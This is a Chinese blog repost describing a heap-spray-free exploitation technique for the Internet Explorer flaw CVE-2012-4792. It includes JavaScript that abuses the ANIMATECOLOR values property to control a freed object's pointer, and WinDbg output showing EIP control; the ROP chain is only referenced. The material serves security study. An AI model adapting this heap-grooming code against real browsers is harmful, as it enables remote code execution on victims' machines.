博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CVE-2012-4792 Exploit Without HeapSpary
阅读量:5340 次
发布时间:2019-06-15

本文共 3559 字,大约阅读时间需要 11 分钟。

前面的一篇用HeapSpary完成了在win7下绕过DEP及ASLR的利用,这次同样一CVE-2012-4792做为例子,前面读国外一篇文章:

http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/

文章提到用一种叫“HTML+TIME”的东西,通过该方法可以实现不需要Heap Spary就能完成exploit,具体说明如下:

关于HTML+TIME的说明可以参考微软的知识库:
引用HTML+TIME的代码如下:
        
...
接下来只需要构造ANIMATECOLOR的value属性,该属性可参考上面的最后一个知识库链接,构造如下:
animvalues = "\u4141\u4141"while(animvalues.length < 0xDC) {     animvalues += animvalues}for(i = 0; i < 21; i++) {     animvalues += ";cyan";}
最终产生的字符串如下形式:
“\u4141\u4141....;cyan;cyan;cyan;cyan;”
每个分号作为分隔符,这样一共22组,接下来将这个字符串通过以下方式赋值给ANIMATECOLOR的value属性:
try {     a = document.getElementById('myanim');     a.values = animvalues;}catch(e) {}
由于ANIMATECOLOR的特性,a.values会根据字符串的格式来申请堆空间,申请的空间大小取决于字符串被分号分割的项数,分配后的堆空间将用每一个项(分号分割的项)的地址来进行初始化,这里将会申请22*4个字节的堆空间,即0x58大小,每个DWORD保存每一项的地址,因此我们就控制了内存中一个指针,并能够控制该指针指向的数据,接下来就可以进行exploit了:
windbg挂载后的奔溃信息如下:
First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00199c60 ebx=0021d0a8 ecx=00000052 edx=00000000 esi=00000000 edi=00216468eip=41414141 esp=020df830 ebp=020df8a4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0001020241414141 ??              ???0:008> dd edi00216468  00199c60 02e1ebc0 0023f5c0 0023f5d800216478  0023f578 0016bda0 0016bbd8 00187da000216488  0333bce0 0333bcf8 0333bd10 0333bd2800216498  0333bd40 0333bd58 0333bd70 0333bd88002164a8  0333bda0 0333bdb8 0333bdd0 0333bde8002164b8  0333be00 0333be18 eaa84100 ff080000002164c8  000000fe 00000000 00000000 00000000002164d8  00000000 00000000 00000000 000000000:008> dc poi(edi)00199c60  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00199c70  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00199c80  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00199c90  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00199ca0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00199cb0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00199cc0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00199cd0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA0:008> dc poi(edi+4)02e1ebc0  00790063 006e0061 02e80000 00000000  c.y.a.n.........02e1ebd0  eaf06f92 ff080167 02e235dc 001f9038  .o..g....5..8...02e1ebe0  02e8e12c 00000000 eaf06f95 ff0c0100  ,........o......02e1ebf0  6359d910 00000001 001f9028 00000000  ..Yc....(.......02e1ec00  eaf06f68 ff0c010a 00000000 00000000  ho..............02e1ec10  00000001 00000000 eaf06f6b ff080100  ........ko......02e1ec20  0021cfd0 001f9038 02e1eb78 00000000  ..!.8...x.......02e1ec30  00000000 00000000 00000000 00000000  ................0:008> dc poi(edi+8)0023f5c0  00790063 006e0061 00200000 00000000  c.y.a.n... .....0023f5d0  eaabd9a2 ff0e0100 00790063 006e0061  ........c.y.a.n.0023f5e0  00200000 00000000 eaabd9a5 ff080100  .. .............0023f5f0  00148098 00000001 1690030b 01700d8c  ..............p.0023f600  eaabd9d8 ff080100 0063006e 006c0061  ........n.c.a.l.0023f610  00700072 00000063 eaabd9db ff0c0100  r.p.c...........0023f620  00000002 50000001 50000007 02db1318  .......P...P....0023f630  eaabd9de ff0a0100 0074006e 00760073  ........n.t.s.v.
可以看到edi指向一块大小为0x58的堆空间,指向前面分配的字符串。这样我们就可以控制一个指针以及指针中的数据了,用前一篇文章用的ROP链,

这样就可以不通过HeapSpary完成漏洞的利用。

转载于:https://www.cnblogs.com/Lamboy/p/3879089.html

你可能感兴趣的文章
我的PHP学习之路
查看>>
【题解】luogu p2340 奶牛会展
查看>>
对PostgreSQL的 SPI_prepare 的理解。
查看>>
解决响应式布局下兼容性的问题
查看>>
京东静态网页练习记录
查看>>
使用DBCP连接池对连接进行管理
查看>>
【洛谷】【堆+模拟】P2278 操作系统
查看>>
hdu3307 欧拉函数
查看>>
Spring Bean InitializingBean和DisposableBean实例
查看>>
Solr4.8.0源码分析(5)之查询流程分析总述
查看>>
[Windows Server]安装系统显示“缺少计算机所需的介质驱动程序”解决方案
查看>>
[容斥][dp][快速幂] Jzoj P5862 孤独
查看>>
Lucene 学习之二:数值类型的索引和范围查询分析
查看>>
软件开发工作模型
查看>>
Java基础之字符串匹配大全
查看>>
面向对象
查看>>
lintcode83- Single Number II- midium
查看>>
移动端 响应式、自适应、适配 实现方法分析(和其他基础知识拓展)
查看>>
selenium-窗口切换
查看>>
使用vue的v-model自定义 checkbox组件
查看>>